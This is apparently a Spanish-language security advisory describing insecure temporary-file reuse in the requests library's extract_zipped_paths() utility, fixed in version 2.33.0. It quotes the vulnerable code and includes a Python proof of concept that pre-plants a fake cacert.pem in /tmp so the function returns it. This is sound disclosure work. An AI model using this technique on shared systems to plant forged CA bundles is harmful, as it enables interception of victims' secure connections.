
Reutilización insegura de archivos temporales en extract_zipped_paths()
Se identificó una vulnerabilidad en la biblioteca requests (Python) dentro de la función de utilidad pública requests.utils.extract_zipped_paths(). La función utiliza un nombre de archivo predecible y no único al intentar extraer archivos en el directorio temporal del sistema (/tmp) y no verifica la integridad ni la propiedad de los archivos preexistentes.
Si bien el comportamiento predeterminado de requests combinado con certifi está mitigado por importlib.resources, esta utilidad sigue siendo un riesgo de seguridad para aplicaciones posteriores o implementaciones personalizadas que dependen de ella para manejar recursos comprimidos.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:NLa función requests.utils.extract_zipped_paths() está diseñada para extraer miembros de un archivo zip (a menudo utilizado para paquetes de CA en entornos zipapp). La lógica vulnerable sigue estos pasos:
basename del miembro del zip (por ejemplo, /tmp/cacert.pem).if not os.path.exists(extracted_path) para decidir si extraer el archivo.En requests/utils.py, la lógica se implementa de la siguiente manera:
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1])
# Insecure reuse of existing file
if not os.path.exists(extracted_path):
# Extraction logic only triggers if file is missing
...
# Returns path to potentially attacker-controlled file
return extracted_path
Un atacante local con bajos privilegios puede explotar esto creando previamente un archivo malicioso (por ejemplo, un paquete de CA falsificado) en la ruta predecible en /tmp. Cuando una víctima (se requiere interacción del usuario) ejecuta una aplicación que invoca esta utilidad:
El siguiente script demuestra la vulnerabilidad al mostrar cómo la utilidad reutiliza un archivo "falso" preexistente en lugar del legítimo del archivo comprimido.
import os
import tempfile
import zipfile
from requests import utils
# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
f.write(b"ATTACKER_MALICIOUS_DATA")
# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")
# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)
# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
content = f.read()
print(f"[i] Content read: {content}")
if content == b"ATTACKER_MALICIOUS_DATA":
print("[!] Vulnerability Confirmed: Insecure file reuse successful.")
El problema se soluciona en la versión 2.33.0. La corrección implica la transición a importlib.resources para manejar recursos comprimidos de forma más segura, asegurando que las extracciones ocurran en directorios aleatorios y no predecibles y evitando la reutilización de archivos existentes en directorios compartidos con permisos de escritura para todos.